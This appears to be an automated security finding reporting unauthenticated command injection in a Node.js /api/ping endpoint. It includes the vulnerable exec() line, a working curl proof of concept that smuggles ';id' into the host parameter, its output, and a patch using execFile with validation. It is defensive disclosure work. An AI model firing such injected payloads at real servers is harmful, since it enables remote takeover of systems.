Unauthenticated OS Command Injection in /api/ping host parameter (RCE)
injection-cmd · server.js:31-31
15b34d5cc6 by 42nights on 2026-06-03Summary
The /api/ping endpoint constructs a shell command by string-interpolating the user-controlled `host` query parameter into `child_process.exec(\`ping -c 1 ${host}\`)` at server.js:31. Because `exec` spawns a shell, any shell metacharacters in `host` are interpreted as additional commands. Expected behavior is to ping the supplied host only; actual behavior is that arbitrary shell commands run as the Node.js process user, as proven by `?host=127.0.0.1;id` returning the output of `id`.
Impact. An unauthenticated remote attacker can execute arbitrary operating-system commands on the server with the privileges of the Node.js process. This means they can read or modify any file the app can access, steal secrets and credentials, install backdoors or malware, pivot to other internal systems, and effectively take full control of the host.
Vulnerable code — server.js
🔴 exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
Working exploit
curl -s 'http://127.0.0.1:4600/api/ping?host=127.0.0.1;id'
Exploit transcript
HTTP 200 Content-Type: text/plain ping result for 127.0.0.1;id: PING 127.0.0.1 (127.0.0.1): 56 data bytes 64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.059 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 0.059/0.059/0.059/0.000 ms uid=501(macintosh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled),400(com.apple.access_remote_ae),702(com.apple.sharepoint.group.2)
Confirmed: command injection confirmed — injected `id` executed: uid=501(macintosh) gid=20(staff)
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H→ 9.8 (critical)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Avoid the shell entirely and validate the host. Example patch:
--- a/server.js
+++ b/server.js
@@
-const { exec } = require('child_process');
+const { execFile } = require('child_process');
+const net = require('net');
@@
- exec(`ping -c 1 ${host}`, { timeout: 4000 }, (err, stdout, stderr) => {
+ // Strict allow-list: only IPv4/IPv6 literals or simple hostnames
+ const isValid = net.isIP(host) || /^[a-zA-Z0-9.-]{1,253}$/.test(host);
+ if (!isValid) {
+ return res.status(400).type('text/plain').send('invalid host');
+ }
+ execFile('ping', ['-c', '1', '--', host], { timeout: 4000 }, (err, stdout, stderr) => {
...
});
Key points: use `execFile` (no shell), pass arguments as an array, terminate options with `--`, and validate `host` against a strict allow-list.Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.